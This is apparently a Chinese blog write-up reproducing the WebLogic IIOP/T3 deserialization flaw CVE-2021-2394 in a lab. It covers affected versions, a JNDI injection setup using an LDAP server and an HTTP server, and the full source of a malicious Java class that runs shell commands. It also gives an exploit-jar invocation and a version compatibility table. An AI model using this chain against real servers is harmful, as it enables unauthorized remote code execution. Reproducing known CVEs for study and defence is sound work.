Weblogic IIOP、T3反序列化漏洞(CVE-2021-2394)

漏洞条件

  • Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
  • 启用了IIOP、T3协议
  • JDK版本符合JNDI注入条件

漏洞原理

攻击者可以在未授权的情况下通过IIOP、T3协议对存在漏洞的WebLogic Server组件进行攻击。成功利用该漏洞的攻击者可以接管WebLogic Server。这是一个二次反序列化漏洞,是CVE-2020-14756和CVE-2020-14825的调用链相结合组成一条新的调用链来绕过weblogic黑名单列表。

具体分析:

cve-2021-2394 weblogic反序列化漏洞分析

【漏洞分析】Weblogic反序列化漏洞分析(CVE-2021-2394)

漏洞利用

使用ysomap开启一个LDAP服务:

然后使用python开启一个http服务,里面放上已经编译为字节码的恶意类class文件:

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exp {
    public Exp() throws Exception {
        //Process p = Runtime.getRuntime().exec(newString[]{"cmd","/c","calc.exe"});
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","touch testabc"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }
}

使用大大大佬的 EXP:lz2y/CVE-2021-2394

使用方法为:

java -jar CVE_2021_2394.jar rhost rport ldapurl

然后到容器中查看成功执行了命令:

这里踩了个坑:由于我现在用的机器是m1的mac,启动weblogic的docker容器会有问题,因此我就放到了vps上启动容器,然后在本地使用上面的EXP打,也就是打远程的机器,这样子会发生报错: javax.naming.NamingException: Couldn't resolve initial reference: NameService; no valid urls found in [EndPointSelector{ iiop://123.58.236.76:32133/NameService}] ,后来尝试用vulfocus上面的在线靶机也是同样的问题,由于我也不懂iiop协议的原理,以及能不能打远程主机,所以这里我卡了我。后来将攻击的jar包也放到了vps上直接打本地服务就成功了,或许有大佬扫到我这篇垃圾可以解答一下。

后面看到了Iz2y 的EXP中有这篇说明:手把手教你解决Weblogic CVE-2020-2551 POC网络问题,应该就是这个问题了,这里我的理解是docker里面返回的地址是一个内网地址(172开头),我们攻击的机器只能访问外网的地址,因此导致发送不了攻击数据;但是本地就不一样了,本地是能够直接访问docker的网络的,所以本地就不会有问题,而在真实环境中也应该没有这种问题。

weblogic 版本问题

使用不同 weblogic 版本的 jar 包对不同版本的 weblogic 进行测试,经过测试研究发现以下情况:

jar 版本weblogic 版本成功情况
12.1.3.0.012.1.3.0.0成功
12.1.3.0.012.2.1.3.0失败
12.1.3.0.012.2.1.4.0失败
12.1.3.0.014.1.1.0.0失败
12.2.1.3.012.1.3.0.0失败
12.2.1.3.012.2.1.3.0成功
12.2.1.3.012.2.1.4.0成功
12.2.1.3.014.1.1.0.0成功
12.2.1.4.012.1.3.0.0失败
12.2.1.4.012.2.1.3.0成功
12.2.1.4.012.2.1.4.0成功
12.2.1.4.014.1.1.0.0成功
14.1.1.0.012.1.3.0.0失败
14.1.1.0.012.2.1.3.0成功
14.1.1.0.012.2.1.4.0成功
14.1.1.0.014.1.1.0.0成功

参考资料

Weblogic反序列化漏洞复现(CVE-2021-2394)

CVE-2021-2394:Weblogic反序列化漏洞复现

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇